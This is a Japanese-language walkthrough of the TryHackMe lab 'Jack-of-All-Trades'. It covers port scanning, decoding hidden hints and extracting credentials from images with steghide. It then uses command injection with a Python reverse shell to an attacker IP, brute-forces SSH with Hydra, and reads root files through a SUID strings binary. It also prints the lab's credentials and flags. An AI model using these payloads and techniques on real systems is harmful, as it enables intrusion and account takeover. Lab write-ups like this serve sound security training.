概要
TryHackMe「Jack-of-All-Trades」のWalkthroughです。
Task1
Q1.User Flag
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.212.81 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_http-title: Jack-of-all-trades!
80/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 1024 13:b7:f0:a1:14:e2:d3:25:40:ff:4b:94:60:c5:00:3d (DSA)
| 2048 91:0c:d6:43:d9:40:c3:88:b1:be:35:0b:bc:b9:90:88 (RSA)
| 256 a3:fb:09:fb:50:80:71:8f:93:1f:8d:43:97:1e:dc:ab (ECDSA)
|_ 256 65:21:e7:4e:7c:5a:e7:bc:c6:ff:68:ca:f1:cb:75:e3 (ED25519)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | http | Apache httpd 2.4.10 |
80 | ssh | OpenSSH 6.7p1 |
ディレクトリの列挙を行いましたが、めぼしいものは見つかりませんでした。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.212.81:22/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
[Status: 200, Size: 1605, Words: 196, Lines: 25, Duration: 237ms]
assets [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 236ms]
[INFO] Adding a new job to the queue: http://10.10.212.81:22/assets/FUZZ
[INFO] Starting queued job on target: http://10.10.212.81:22/assets/FUZZ
[Status: 200, Size: 1547, Words: 92, Lines: 20, Duration: 246ms]
22
番ポートでWebサイトにアクセスできました。
ページの文からJack
というユーザー名を発見しました。
ソースコードを見るとコメントアウトで/recovery.php
パスとbase64
でエンコードされた文字列を発見しました。
文字列をデコードするとJohny Graves
というユーザー名とu?WtKSraq
というパスワードを発見しました。
$ echo -n "UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg==" | base64 -d
Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq
/recovery.php
へアクセスします。
ソースコードを見るとまた別のエンコードされた文字列を発見しました。
From Base32
->From Hex
->ROT13
の手順でデコードするとRemember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S.
という文言とヒントに短縮URLを発見しました。
ヒントの短縮URLはステゴサウルスのWikipediaページでした。
クレデンシャル情報はホームページにあると言われているのでホームページの画像ファイルに注目しました。
まず、stego.jpg
からu?WtKSraq
のパスワードを使用して隠されたcreds.txt
を発見しました。
$ steghide extract -sf stego.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
ファイルの中に認証情報はありませんでしたが、方向性は合っていると言われました。
Hehe. Gotcha!
You're on the right path, but wrong image!
jackinthebox.jpg
からは何も見つかりませんでした。
$ steghide extract -sf jackinthebox.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
header.jpg
からcms.creds
を発見しました。
$ steghide extract -sf header.jpg
Enter passphrase:
wrote extracted data to "cms.creds".
cms.creds
の中に認証情報を発見しました。
Here you go Jack. Good thing you thought ahead!
Username: jackinthebox
Password: TplFxiSHjY
この情報を使ってログインに成功しました。
本文からcmd
パラメータでコマンドを実行できそうなので試すとコマンドの実行に成功しました。
リバースシェルの待ち受けをします。
$ nc -lvnp 1234
リバースシェルのパラメータを付与してリクエストを送信します。
?cmd=python+-c+'import+socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);+os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import+pty;+pty.spawn("sh")'
シェルの獲得に成功しました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.97.18] 50840
$ whoami
whoami
www-data
/home/jacks_password_list
からJackのパスワードリストを発見しました。
$ cat /home/jacks_password_list
cat /home/jacks_password_list
*hclqAzj+2GC+=0K
eN<A@n^zI?FE$I5,
X<(@zo2XrEN)#MGC
,,aE1K,nW3Os,afb
ITMJpGGIqg1jn?>@
0HguX{,fgXPE;8yF
sjRUb4*@pz<*ZITu
[8V7o^gl(Gjt5[WB
yTq0jI$d}Ka<T}PD
Sc.[[2pL<>e)vC4}
9;}#q*,A4wd{<X.T
M41nrFt#PcV=(3%p
GZx.t)H$&awU;SO<
.MVettz]a;&Z;cAC
2fh%i9Pr5YiYIf51
TDF@mdEd3ZQ(]hBO
v]XBmwAk8vk5t3EF
9iYZeZGQGG9&W4d1
8TIFce;KjrBWTAY^
SeUAwt7EB#fY&+yt
n.FZvJ.x9sYe5s5d
8lN{)g32PG,1?[pM
z@e1PmlmQ%k5sDz@
ow5APF>6r,y4krSo
これをローカルに保存し、Hydraで総当たりします。
$ hydra -f -l jack -P ./jack_pass_list 10.10.97.18 -s 80 ssh
パスワードが判明しました。
[80][ssh] host: 10.10.97.18 login: jack password: ITMJpGGIqg1jn?>@
そしてSSH接続に成功しました。
$ ssh -p 80 jack@10.10.97.18
jack@10.10.97.18's password:
jack@jack-of-all-trades:~$
/home/jack/user.jpg
を発見したのでscp
コマンドなどでローカルに保存します。
$ scp -P 80 jack@10.10.97.18:/home/jack/user.jpg ./
jack@10.10.97.18's password:
user.jpg 100% 286KB 171.0KB/s 00:01
画像からユーザーフラグを入手できます。
A.securi_tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}
Q2.Root Flag
Hint./root/root.txt
SUID
の検索をすると/usr/bin/strings
にSUIDが設定されていると分かりました。
$ find / -user root -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/strings
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/procmail
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su
strings
コマンドで/root/root.txt
を読み込んでルートフラグを入手できます。
$ /usr/bin/strings /root/root.txt
ToDo:
1.Get new penguin skin rug -- surely they won't miss one or two of those blasted creatures?
2.Make T-Rex model!
3.Meet up with Johny for a pint or two
4.Move the body from the garage, maybe my old buddy Bill from the force can help me hide her?
5.Remember to finish that contract for Lisa.
6.Delete this: securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}
A.securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}